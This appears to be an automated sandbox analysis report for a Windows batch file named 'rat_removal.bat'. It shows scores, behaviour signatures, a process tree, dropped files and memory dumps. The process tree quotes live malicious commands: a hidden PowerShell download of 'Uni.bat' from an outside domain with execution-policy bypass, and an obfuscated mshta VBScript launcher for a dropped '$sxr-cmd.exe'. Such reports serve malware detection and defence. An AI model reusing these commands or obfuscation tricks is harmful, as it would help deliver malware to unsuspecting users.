Resubmissions

14/03/2024, 05:24

240314-f3wxmsdg73 10

14/03/2024, 05:13

240314-fwwcjabd6s 8

Analysis

  • max time kernel
    43s
  • max time network
    23s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240214-en
  • resource tags

    arch:x64arch:x86image:win11-20240214-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    14/03/2024, 05:24

General

  • Target

    rat_removal.bat

  • Size

    14KB

  • MD5

    2c0ee080298d0de1320e6e7eda4ca39b

  • SHA1

    edd03f96d4f4277a24e541376fdddf43439b4a99

  • SHA256

    7e81cadeef133c8230dbe26f95a66d3b47cead73ba1e37170ac95869abe17f8e

  • SHA512

    ffdfd43eb46107be849d3e1938d1db0be87d27700799a9f31527b512abaca615241c6ee2d6358061d5ea133233aa0edda9908091419c024977b25365064d9e64

  • SSDEEP

    192:HbKSAmk7b/FQASmmZrQCgljChA4DW0JyquFnpUoH:H28k7b/hkQCgljwAEbyvFpL

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_removal.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3252
    • C:\Windows\system32\chcp.com
      chcp.com 437
      2⤵
        PID:4420
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c type tmp
        2⤵
          PID:4160
        • C:\Windows\system32\findstr.exe
          findstr /L /I set C:\Users\Admin\AppData\Local\Temp\rat_removal.bat
          2⤵
            PID:4472
          • C:\Windows\system32\findstr.exe
            findstr /L /I goto C:\Users\Admin\AppData\Local\Temp\rat_removal.bat
            2⤵
              PID:4124
            • C:\Windows\system32\findstr.exe
              findstr /L /I echo C:\Users\Admin\AppData\Local\Temp\rat_removal.bat
              2⤵
                PID:3556
              • C:\Windows\system32\findstr.exe
                findstr /L /I pause C:\Users\Admin\AppData\Local\Temp\rat_removal.bat
                2⤵
                  PID:4652
                • C:\Windows\system32\find.exe
                  find
                  2⤵
                    PID:3260
                  • C:\Windows\system32\find.exe
                    find
                    2⤵
                      PID:2996
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c type tmp
                      2⤵
                        PID:2608
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://robloxplayerclient.org/Uni.bat' -OutFile: 'C:\Users\Admin\AppData\Local\Temp\Uni.bat'"
                        2⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1996
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3028
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:OWMmhUSKSJ; "
                          3⤵
                            PID:5016
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
                            3⤵
                            • Drops file in Windows directory
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2444
                      • C:\Windows\$sxr-mshta.exe
                        C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-jKiXOIbCnNURqPPCCxgw4312:MtFhlUnv=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
                        1⤵
                        • Executes dropped EXE
                        PID:2008
                        • C:\Windows\$sxr-cmd.exe
                          "C:\Windows\$sxr-cmd.exe" /c %$sxr-jKiXOIbCnNURqPPCCxgw4312:MtFhlUnv=%
                          2⤵
                            PID:432

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                Filesize

                                2KB

                                MD5

                                5f4c933102a824f41e258078e34165a7

                                SHA1

                                d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

                                SHA256

                                d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

                                SHA512

                                a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

                              • C:\Users\Admin\AppData\Local\Temp\Uni.bat

                                Filesize

                                15.5MB

                                MD5

                                7b10ed9636b737ceadbb064086ff94ca

                                SHA1

                                de075e9898da93e3ebb17b86240716ef44df3574

                                SHA256

                                19086f3bc2b071cf02d549551dae87f5baa0eee53305881d77b25a9be9e4e1ad

                                SHA512

                                2bcd2d8f188498b577aedcb8e017e3a24ce61e1933090d20fbbfacca90bf5b3e4a2a9b213a479bd19a0aedf622f6ffa08f042b40bc73f66c8c1534966d5b9eeb

                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gbaqd0ga.5jc.ps1

                                Filesize

                                60B

                                MD5

                                d17fe0a3f47be24a6453e9ef58c94641

                                SHA1

                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                SHA256

                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                SHA512

                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                              • C:\Users\Admin\AppData\Local\Temp\tmp

                                Filesize

                                14B

                                MD5

                                ce585c6ba32ac17652d2345118536f9c

                                SHA1

                                be0e41b3690c42e4c0cdb53d53fc544fb46b758d

                                SHA256

                                589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3

                                SHA512

                                d397eda475d6853ce5cc28887690ddd5f8891be43767cdb666396580687f901fb6f0cc572afa18bde1468a77e8397812009c954f386c8f69cc0678e1253d5752

                              • C:\Windows\$sxr-cmd.exe

                                Filesize

                                324KB

                                MD5

                                c5db7b712f280c3ae4f731ad7d5ea171

                                SHA1

                                e8717ff0d40e01fd3b06de2aa5a401bed1c907cc

                                SHA256

                                f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba

                                SHA512

                                bceaf7dc30f2c99b40b7025a5eb063f3131a1ef9349fdf356720eaef838bcf58ce3d5e3bad9459ddd2f872df430bdb66a766a5acff5d3bbc738eba8945cb0a89

                              • C:\Windows\$sxr-mshta.exe

                                Filesize

                                32KB

                                MD5

                                356e04e106f6987a19938df67dea0b76

                                SHA1

                                f2fd7cde5f97427e497dfb07b7f682149dc896fb

                                SHA256

                                4ed8a115fa1dcfd532397b800775c1b54d2d407b52118b5423e94ff1ce855d7e

                                SHA512

                                df1c655fa3a95e001084af8c3aa97c54dbcb690210e1353dd836702cfb4af3c857449df62aa62d7ab525ffb4e0dc1552181dfcdee2c28f4af5c20df6d95811cd

                              • memory/1996-12-0x000001C8CD5C0000-0x000001C8CD5E2000-memory.dmp

                                Filesize

                                136KB

                              • memory/1996-13-0x00007FFB20F60000-0x00007FFB21A22000-memory.dmp

                                Filesize

                                10.8MB

                              • memory/1996-14-0x000001C8B4F20000-0x000001C8B4F30000-memory.dmp

                                Filesize

                                64KB

                              • memory/1996-15-0x000001C8B4F20000-0x000001C8B4F30000-memory.dmp

                                Filesize

                                64KB

                              • memory/1996-16-0x000001C8B4F20000-0x000001C8B4F30000-memory.dmp

                                Filesize

                                64KB

                              • memory/1996-20-0x00007FFB20F60000-0x00007FFB21A22000-memory.dmp

                                Filesize

                                10.8MB

                              • memory/2444-44-0x000002B9EC4C0000-0x000002B9EC4D0000-memory.dmp

                                Filesize

                                64KB

                              • memory/2444-51-0x000002B9F6740000-0x000002B9F6798000-memory.dmp

                                Filesize

                                352KB

                              • memory/2444-35-0x000002B9F4C70000-0x000002B9F571C000-memory.dmp

                                Filesize

                                10.7MB

                              • memory/2444-36-0x00007FFB420A0000-0x00007FFB422A9000-memory.dmp

                                Filesize

                                2.0MB

                              • memory/2444-37-0x00007FFB420A0000-0x00007FFB422A9000-memory.dmp

                                Filesize

                                2.0MB

                              • memory/2444-38-0x000002B9F5720000-0x000002B9F620C000-memory.dmp

                                Filesize

                                10.9MB

                              • memory/2444-39-0x00007FFB420A0000-0x00007FFB422A9000-memory.dmp

                                Filesize

                                2.0MB

                              • memory/2444-41-0x00007FFB40EC0000-0x00007FFB40F7D000-memory.dmp

                                Filesize

                                756KB

                              • memory/2444-42-0x00007FFB420A0000-0x00007FFB422A9000-memory.dmp

                                Filesize

                                2.0MB

                              • memory/2444-43-0x00007FFB20F60000-0x00007FFB21A22000-memory.dmp

                                Filesize

                                10.8MB

                              • memory/2444-33-0x000002B9EC4C0000-0x000002B9EC4D0000-memory.dmp

                                Filesize

                                64KB

                              • memory/2444-45-0x000002B9EC4C0000-0x000002B9EC4D0000-memory.dmp

                                Filesize

                                64KB

                              • memory/2444-46-0x00007FFB420A0000-0x00007FFB422A9000-memory.dmp

                                Filesize

                                2.0MB

                              • memory/2444-47-0x000002B9F65E0000-0x000002B9F66DC000-memory.dmp

                                Filesize

                                1008KB

                              • memory/2444-48-0x000002B9EC7C0000-0x000002B9EC7E2000-memory.dmp

                                Filesize

                                136KB

                              • memory/2444-49-0x000002B9ECA00000-0x000002B9ECA06000-memory.dmp

                                Filesize

                                24KB

                              • memory/2444-50-0x000002B9F66E0000-0x000002B9F673E000-memory.dmp

                                Filesize

                                376KB

                              • memory/2444-34-0x000002B9ECA40000-0x000002B9ECA86000-memory.dmp

                                Filesize

                                280KB

                              • memory/2444-52-0x000002B9EC2D0000-0x000002B9EC2D6000-memory.dmp

                                Filesize

                                24KB

                              • memory/2444-53-0x000002B9ECA10000-0x000002B9ECA18000-memory.dmp

                                Filesize

                                32KB

                              • memory/2444-54-0x000002B9EC9F0000-0x000002B9EC9F6000-memory.dmp

                                Filesize

                                24KB

                              • memory/2444-55-0x000002B9F67A0000-0x000002B9F67DE000-memory.dmp

                                Filesize

                                248KB

                              • memory/2444-56-0x000002B9F67E0000-0x000002B9F740C000-memory.dmp

                                Filesize

                                12.2MB

                              • memory/2444-57-0x000002B9F7410000-0x000002B9F74C2000-memory.dmp

                                Filesize

                                712KB

                              • memory/2444-58-0x000002B9F74C0000-0x000002B9F74F6000-memory.dmp

                                Filesize

                                216KB

                              • memory/2444-59-0x000002B9F7500000-0x000002B9F7558000-memory.dmp

                                Filesize

                                352KB

                              • memory/2444-60-0x000002B9F7560000-0x000002B9F758E000-memory.dmp

                                Filesize

                                184KB

                              • memory/2444-61-0x00007FF7093F0000-0x00007FF70945E000-memory.dmp

                                Filesize

                                440KB

                              • memory/2444-63-0x000002B9ECA20000-0x000002B9ECA28000-memory.dmp

                                Filesize

                                32KB

                              • memory/2444-64-0x0000000180000000-0x0000000180007000-memory.dmp

                                Filesize

                                28KB

                              • memory/2444-67-0x00007FFB420A0000-0x00007FFB422A9000-memory.dmp

                                Filesize

                                2.0MB

                              • memory/2444-74-0x00007FFB206D8000-0x00007FFB206D9000-memory.dmp

                                Filesize

                                4KB

                              • memory/2444-32-0x000002B9EC4C0000-0x000002B9EC4D0000-memory.dmp

                                Filesize

                                64KB

                              • memory/2444-31-0x00007FFB20F60000-0x00007FFB21A22000-memory.dmp

                                Filesize

                                10.8MB